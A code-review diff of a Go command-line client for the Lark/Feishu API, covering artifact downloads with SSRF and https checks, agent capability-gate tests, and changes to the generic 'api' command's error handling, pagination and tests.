// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
// symlink at the path counts as existing rather than being followed.
if !opts.Force {
if _, statErr := vfs.Lstat(safePath); statErr == nil {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
}
}
ctx := opts.Cmd.Context()
art, err := resolveDownload(opts)
if err != nil {
return err
}
data := art.Bytes
if art.URL != "" {
data, err = artifactFetch(ctx, opts.Factory, art.URL)
if err != nil {
return err
}
}
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
}
f := opts.Factory
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
fmt.Fprintf(out, "path: %s\n", safePath)
fmt.Fprintf(out, "bytes: %d\n", len(data))
if art.Mime != "" {
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
}
// suggested_name is the server-suggested name, for reference only; the
// actual on-disk path is already the safePath (-o) above.
if art.Name != "" {
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
}
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"artifact_id": opts.ArtifactID,
"path": safePath,
"bytes": len(data),
"mime": art.Mime,
"suggested_name": art.Name,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
// a download-hardened HTTP client from the Factory and reads at most
// maxArtifactBytes of the body. The artifact host is untrusted external content,
// so both the URL and the redirect chain are guarded.
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
WithCause(err)
}
// Artifact bytes come from an untrusted host over the network; require https
// so the payload cannot be read or tampered with in transit. The SSRF check
// above already rejects private/loopback hosts and non-http(s) schemes, so a
// surviving non-https URL is plain-text http.
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https拒绝明文下载")
}
base, err := f.HttpClient()
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
}
client := hardenDownloadClient(base)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
}
resp, err := client.Do(req)
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
}
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes))
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
}
return data, nil
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,155 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"strings"
"sync"
"testing"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// newUnsupProvider builds a stub *Provider driving the command-layer
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
// unsupported_capability before any network access. GetTask is wired to return a
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
// re-derive it). Send is wired (core, required by Register) but never called
// here. There is no capability-refusal code in the provider — "unsupported" is
// expressed purely by the absent fields.
func newUnsupProvider() *iagent.Provider {
return &iagent.Provider{
Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
panic("unsup provider: Send should not be called")
},
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
// Deliberate mismatch: State is terminal but IsTerminal=false (simulating
// a provider that forgot to set it or set it wrong).
return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
},
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
}
}
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
// panics on duplicates). Like the other fakes it leaks into the package-level
// registry for the remaining tests of this package run.
var registerFakeUnsupOnce sync.Once
func registerFakeUnsup() {
registerFakeUnsupOnce.Do(func() {
iagent.Register("fakeunsup", iagent.ProviderInfo{
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newUnsupProvider(), nil },
Label: "test fake (unwired optional capabilities)",
AgentRefFormat: "fakeunsup:<agent_id>",
AgentIDSource: "test only",
Kind: iagent.KindInstance,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
})
})
}
// assertUnsupportedCapability pins the full capability-gate contract on err:
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
// `agent card <ref>`, and — because the Factory's httpmock registry has zero
// stubs — no HTTP was issued (any network attempt would have surfaced as an
// "httpmock: no stub" error instead of the typed one).
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
t.Helper()
if err == nil {
t.Fatal("an unsupported capability should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(p.Hint, "agent card "+ref) {
t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
}
if strings.Contains(err.Error(), "httpmock") {
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
}
}
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
// provider that does not wire ListContexts returns typed unsupported_capability
// (exit 2) with the agent-card hint, without any HTTP.
func TestContextListUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
}
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
// `context delete` path (--yes passes, provider does not wire DeleteContext).
func TestContextDeleteUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
}
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
// provider returning a State/IsTerminal-mismatched task (completed +
// is_terminal=false) must emit is_terminal=true — the command layer derives
// the flag from State, the single source of truth.
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentTaskGetRun(opts); err != nil {
t.Fatalf("task get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["state"] != "completed" {
t.Fatalf("data.state should be completed, got %v", data["state"])
}
if data["is_terminal"] != true {
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
}
}
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
// (task list / context get share this helper for their nested Tasks).
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
ts := normalizeTaskSummaries([]iagent.TaskSummary{
{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true}, // wrong
})
if !ts[0].IsTerminal {
t.Error("completed summary should derive is_terminal=true")
}
if ts[1].IsTerminal {
t.Error("working summary should derive is_terminal=false")
}
if normalizeTask(nil) != nil {
t.Error("normalizeTask(nil) should be nil-safe")
}
}

View File

@@ -10,7 +10,6 @@ import (
"regexp"
"strings"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -58,30 +57,13 @@ func normalisePath(raw string) string {
// NewCmdApi creates the api command. If runF is non-nil it is called instead of apiRun (test hook).
func NewCmdApi(f *cmdutil.Factory, runF func(*APIOptions) error) *cobra.Command {
return NewCmdApiWithContext(context.Background(), f, runF)
}
func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*APIOptions) error) *cobra.Command {
opts := &APIOptions{Factory: f}
var asStr string
cmd := &cobra.Command{
Use: "api <method> <path>",
Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
Prefer the typed domain command when one exists — it validates parameters,
shows the Risk level, gates destructive calls behind --yes, and carries usage
guidance that this raw command does not. If a domain command covers your task
(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
newer/preview APIs), where you already have the HTTP path from the Lark docs.
Examples:
lark-cli api GET /open-apis/calendar/v4/calendars
lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
Args: cobra.ExactArgs(2),
Short: "Generic Lark API requests",
Args: cobra.ExactArgs(2),
RunE: func(cmd *cobra.Command, args []string) error {
opts.Method = strings.ToUpper(args[0])
opts.Path = args[1]
@@ -95,16 +77,15 @@ Examples:
},
}
cmd.Flags().StringVar(&opts.Params, "params", "", "query parameters JSON (supports - for stdin, @file for file input)")
cmd.Flags().StringVar(&opts.Data, "data", "", "request body JSON (supports - for stdin, @file for file input)")
cmdutil.AddAPIIdentityFlag(ctx, cmd, f, &asStr)
cmd.Flags().StringVar(&opts.Params, "params", "", "query parameters JSON (supports - for stdin)")
cmd.Flags().StringVar(&opts.Data, "data", "", "request body JSON (supports - for stdin)")
cmd.Flags().StringVar(&asStr, "as", "auto", "identity type: user | bot | auto (default)")
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "output file path for binary responses")
cmd.Flags().BoolVar(&opts.PageAll, "page-all", false, "automatically paginate through all pages")
cmd.Flags().IntVar(&opts.PageSize, "page-size", 0, "page size (0 = use API default)")
cmd.Flags().IntVar(&opts.PageLimit, "page-limit", 10, "max pages to fetch with --page-all (0 = unlimited)")
cmd.Flags().IntVar(&opts.PageDelay, "page-delay", 200, "delay in ms between pages")
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json|ndjson|table|csv")
cmd.Flags().Bool("json", false, "shorthand for --format json")
cmd.Flags().StringVarP(&opts.JqExpr, "jq", "q", "", "jq expression to filter JSON output")
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "print request without executing")
cmd.Flags().StringVar(&opts.File, "file", "", "file to upload as multipart/form-data ([field=]path, supports - for stdin)")
@@ -115,10 +96,12 @@ Examples:
}
return nil, cobra.ShellCompDirectiveNoFileComp
}
cmdutil.RegisterFlagCompletion(cmd, "format", func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
_ = cmd.RegisterFlagCompletionFunc("as", func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return []string{"user", "bot"}, cobra.ShellCompDirectiveNoFileComp
})
_ = cmd.RegisterFlagCompletionFunc("format", func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return []string{"json", "ndjson", "table", "csv"}, cobra.ShellCompDirectiveNoFileComp
})
cmdutil.SetRisk(cmd, "write")
return cmd
}
@@ -128,7 +111,6 @@ Examples:
// FileUploadMeta is returned instead so the caller can render dry-run output.
func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploadMeta, error) {
stdin := opts.Factory.IOStreams.In
fileIO := opts.Factory.ResolveFileIO(opts.Ctx)
// Validate --file mutual exclusions first.
if err := cmdutil.ValidateFileFlag(opts.File, opts.Params, opts.Data, opts.Output, opts.PageAll, opts.Method); err != nil {
@@ -137,16 +119,10 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
// stdin conflict: --params and --data cannot both read from stdin, regardless of --file.
if opts.Params == "-" && opts.Data == "-" {
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--params and --data cannot both read from stdin (-)").
WithHint("pass at most one flag as '-'; give the other inline JSON or @file").
WithParams(
errs.InvalidParam{Name: "--params", Reason: "reads from stdin (-)"},
errs.InvalidParam{Name: "--data", Reason: "reads from stdin (-)"},
)
return client.RawApiRequest{}, nil, output.ErrValidation("--params and --data cannot both read from stdin (-)")
}
params, err := cmdutil.ParseJSONMap(opts.Params, "--params", stdin, fileIO)
params, err := cmdutil.ParseJSONMap(opts.Params, "--params", stdin)
if err != nil {
return client.RawApiRequest{}, nil, err
}
@@ -168,15 +144,12 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
// Parse --data as JSON map for form fields (not as body).
var dataFields any
if opts.Data != "" {
dataFields, err = cmdutil.ParseOptionalBody(opts.Method, opts.Data, stdin, fileIO)
dataFields, err = cmdutil.ParseOptionalBody(opts.Method, opts.Data, stdin)
if err != nil {
return client.RawApiRequest{}, nil, err
}
if _, ok := dataFields.(map[string]any); !ok {
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--data must be a JSON object when used with --file").
WithHint(`with --file, --data carries multipart form fields, e.g. --data '{"image_type":"message"}'`).
WithParam("--data")
return client.RawApiRequest{}, nil, output.ErrValidation("--data must be a JSON object when used with --file")
}
}
@@ -187,7 +160,7 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
}
fd, err := cmdutil.BuildFormdata(
fileIO,
opts.Factory.ResolveFileIO(opts.Ctx),
fieldName, filePath, isStdin, stdin, dataFields,
)
if err != nil {
@@ -197,7 +170,7 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
request.ExtraOpts = append(request.ExtraOpts, larkcore.WithFileUpload())
} else {
// Normal path: JSON body.
data, err := cmdutil.ParseOptionalBody(opts.Method, opts.Data, stdin, fileIO)
data, err := cmdutil.ParseOptionalBody(opts.Method, opts.Data, stdin)
if err != nil {
return client.RawApiRequest{}, nil, err
}
@@ -219,13 +192,7 @@ func apiRun(opts *APIOptions) error {
}
if opts.PageAll && opts.Output != "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--output and --page-all are mutually exclusive").
WithHint("drop --page-all to save a binary response, or drop --output to paginate JSON").
WithParams(
errs.InvalidParam{Name: "--output", Reason: "conflicts with --page-all"},
errs.InvalidParam{Name: "--page-all", Reason: "conflicts with --output"},
)
return output.ErrValidation("--output and --page-all are mutually exclusive")
}
if err := output.ValidateJqFlags(opts.JqExpr, opts.Output, opts.Format); err != nil {
return err
@@ -262,37 +229,26 @@ func apiRun(opts *APIOptions) error {
}
if opts.PageAll {
return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut, opts.Cmd.CommandPath(),
return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut,
client.PaginationOptions{PageLimit: opts.PageLimit, PageDelay: opts.PageDelay})
}
resp, err := ac.DoAPI(opts.Ctx, request)
if err != nil {
// MarkRaw tells the dispatcher to skip the legacy enrichPermissionError
// pass on *output.ExitError values. Typed *errs.* errors that flow
// through here keep their canonical message / hint from BuildAPIError;
// MarkRaw is a no-op on those (it only flips a flag on *ExitError).
return errs.MarkRaw(err)
return output.MarkRaw(client.WrapDoAPIError(err))
}
err = client.HandleResponse(resp, client.ResponseOptions{
OutputPath: opts.Output,
Format: format,
JqExpr: opts.JqExpr,
Out: out,
ErrOut: f.IOStreams.ErrOut,
FileIO: f.ResolveFileIO(opts.Ctx),
CommandPath: opts.Cmd.CommandPath(),
Identity: opts.As,
// CheckResponse routes through errclass.BuildAPIError for known Lark
// codes (typed PermissionError / AuthenticationError / ...). For
// unknown codes it falls back to *errs.APIError. The Brand+AppID on
// the client populate identity-aware fields (ConsoleURL etc.).
CheckError: ac.CheckResponse,
OutputPath: opts.Output,
Format: format,
JqExpr: opts.JqExpr,
Out: out,
ErrOut: f.IOStreams.ErrOut,
FileIO: f.ResolveFileIO(opts.Ctx),
})
// MarkRaw: see comment above on the DoAPI path. Skips legacy
// *ExitError enrichment; typed errors flow through unchanged.
// MarkRaw tells root error handler to skip enrichPermissionError,
// preserving the original API error detail (log_id, troubleshooter, etc.).
if err != nil {
return errs.MarkRaw(err)
return output.MarkRaw(err)
}
return nil
}
@@ -301,76 +257,43 @@ func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.Cl
return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
}
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
if pagOpts.Identity == "" {
pagOpts.Identity = request.As
}
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, pagOpts client.PaginationOptions) error {
// When jq is set, always aggregate all pages then filter.
if jqExpr != "" {
result, err := ac.PaginateAll(ctx, request, pagOpts)
if err != nil {
return errs.MarkRaw(err)
if err := client.PaginateWithJq(ctx, ac, request, jqExpr, out, pagOpts, client.CheckLarkResponse); err != nil {
return output.MarkRaw(err)
}
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
output.FormatValue(out, result, output.FormatJSON)
return errs.MarkRaw(apiErr)
}
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
JqExpr: jqExpr,
Out: out,
ErrOut: errOut,
})
return nil
}
switch format {
case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
pf := output.NewPaginatedFormatter(out, format)
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
// Streaming formats intentionally emit each page after that page has
// passed safety scanning. A later page may still fail, so callers
// must use the exit code to distinguish complete vs partial output.
scanResult := output.ScanForSafety(commandPath, items, errOut)
if scanResult.Blocked {
return scanResult.BlockErr
}
if scanResult.Alert != nil {
output.WriteAlertWarning(errOut, scanResult.Alert)
}
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) {
pf.FormatPage(items)
return nil
}, pagOpts)
if err != nil {
return errs.MarkRaw(err)
return output.MarkRaw(output.ErrNetwork("API call failed: %v", err))
}
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
return errs.MarkRaw(apiErr)
if apiErr := client.CheckLarkResponse(result); apiErr != nil {
output.FormatValue(out, result, output.FormatJSON)
return output.MarkRaw(apiErr)
}
if !hasItems {
fmt.Fprintf(errOut, "warning: this API does not return a list, format %q is not supported, falling back to json\n", format)
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
Out: out,
ErrOut: errOut,
})
output.FormatValue(out, result, output.FormatJSON)
}
return nil
default:
result, err := ac.PaginateAll(ctx, request, pagOpts)
if err != nil {
return errs.MarkRaw(err)
return output.MarkRaw(output.ErrNetwork("API call failed: %v", err))
}
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
if apiErr := client.CheckLarkResponse(result); apiErr != nil {
output.FormatValue(out, result, output.FormatJSON)
return errs.MarkRaw(apiErr)
return output.MarkRaw(apiErr)
}
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
Out: out,
ErrOut: errOut,
})
output.FormatValue(out, result, format)
return nil
}
}

View File

@@ -4,19 +4,16 @@
package api
import (
"context"
"encoding/json"
"errors"
"os"
"sort"
"strings"
"testing"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
"github.com/spf13/cobra"
)
@@ -69,24 +66,6 @@ func TestApiCmd_DryRun(t *testing.T) {
}
}
// Regression: --params null parses to a nil map; writing page_size onto it must
// not panic. Symmetric to the typed-flag overlay path in cmd/service — both
// write into the map ParseJSONMap returns.
func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
if err := cmd.Execute(); err != nil {
t.Fatalf("--params null with --page-size should not error, got: %v", err)
}
if out := stdout.String(); !strings.Contains(out, "page_size") {
t.Errorf("expected page_size applied over null --params, got:\n%s", out)
}
}
func TestApiCmd_BotMode(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -104,19 +83,8 @@ func TestApiCmd_BotMode(t *testing.T) {
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
if got["ok"] != true || got["identity"] != "bot" {
t.Fatalf("unexpected envelope: %#v", got)
}
if _, hasCode := got["code"]; hasCode {
t.Fatalf("success envelope leaked outer code: %s", stdout.String())
}
data, ok := got["data"].(map[string]interface{})
if !ok || data["result"] != "success" {
t.Fatalf("data = %#v, want result=success", got["data"])
if !strings.Contains(stdout.String(), "success") {
t.Error("expected 'success' in output")
}
}
@@ -212,24 +180,6 @@ func TestApiValidArgsFunction(t *testing.T) {
}
}
func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu, SupportedIdentities: 2,
})
cmd := NewCmdApi(f, nil)
flag := cmd.Flags().Lookup("as")
if flag == nil {
t.Fatal("expected --as flag to be registered")
}
if !flag.Hidden {
t.Fatal("expected --as flag to be hidden in strict mode")
}
if got := flag.DefValue; got != "bot" {
t.Fatalf("default value = %q, want %q", got, "bot")
}
}
func TestApiCmd_PageLimitDefault(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -342,16 +292,8 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
t.Error("expected 'falling back to json' in stderr")
}
// Should output JSON result to stdout
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
data, ok := got["data"].(map[string]interface{})
if got["ok"] != true || got["identity"] != "bot" || !ok || data["user_id"] != "u123" {
t.Fatalf("unexpected fallback envelope: %#v", got)
}
if _, hasCode := got["code"]; hasCode {
t.Fatalf("fallback success envelope leaked outer code: %s", stdout.String())
if !strings.Contains(stdout.String(), "u123") {
t.Error("expected user_id in JSON output")
}
}
@@ -364,7 +306,7 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
reg.Register(&httpmock.Stub{
URL: "/open-apis/im/v1/chats/oc_xxx/announcement",
Body: map[string]interface{}{
"code": 230027, "msg": "user not authorized",
"code": 230001, "msg": "no permission",
},
})
@@ -376,20 +318,12 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
t.Fatal("expected an error for non-zero code")
}
// Should still output the response body so user can see the error details
if !strings.Contains(stdout.String(), "230027") {
if !strings.Contains(stdout.String(), "230001") {
t.Errorf("expected error response in stdout, got: %s", stdout.String())
}
if !strings.Contains(stdout.String(), "user not authorized") {
if !strings.Contains(stdout.String(), "no permission") {
t.Errorf("expected error message in stdout, got: %s", stdout.String())
}
if strings.Contains(stdout.String(), `"ok": true`) || strings.Contains(stdout.String(), `"ok":true`) {
t.Fatalf("unexpected success envelope on error path: %s", stdout.String())
}
requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
var permErr *errs.PermissionError
if !errors.As(err, &permErr) {
t.Fatalf("expected PermissionError, got %T: %v", err, err)
}
}
func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
@@ -425,274 +359,6 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
}
}
func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "safe-page"}},
"has_more": true,
"page_token": "next",
},
},
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 230027, "msg": "user not authorized",
},
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error for non-zero code on later page")
}
requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
out := stdout.String()
if !strings.Contains(out, "safe-page") {
t.Fatalf("expected earlier successful page to remain streamed, got: %s", out)
}
if strings.Contains(out, "230027") || strings.Contains(out, "user not authorized") {
t.Fatalf("streaming stdout should not contain raw error JSON, got: %s", out)
}
if strings.Contains(out, "\n \"code\"") {
t.Fatalf("streaming stdout should not contain indented JSON error dump, got: %s", out)
}
}
func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "1"}},
"has_more": false,
},
},
})
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
data, ok := got["data"].(map[string]interface{})
if got["ok"] != true || got["identity"] != "bot" || !ok {
t.Fatalf("unexpected envelope: %#v", got)
}
if _, hasCode := got["code"]; hasCode {
t.Fatalf("success envelope leaked outer code: %s", stdout.String())
}
items, ok := data["items"].([]interface{})
if !ok || len(items) != 1 {
t.Fatalf("data.items = %#v, want one item", data["items"])
}
}
type apiContentSafetyProvider struct {
called bool
path string
data interface{}
match string
}
func (p *apiContentSafetyProvider) Name() string { return "api-test" }
func (p *apiContentSafetyProvider) Scan(_ context.Context, req extcs.ScanRequest) (*extcs.Alert, error) {
p.called = true
p.path = req.Path
p.data = req.Data
if p.match != "" {
b, _ := json.Marshal(req.Data)
if !strings.Contains(string(b), p.match) {
return nil, nil
}
}
return &extcs.Alert{Provider: "api-test", MatchedRules: []string{"pagination"}}, nil
}
func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
provider := &apiContentSafetyProvider{}
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
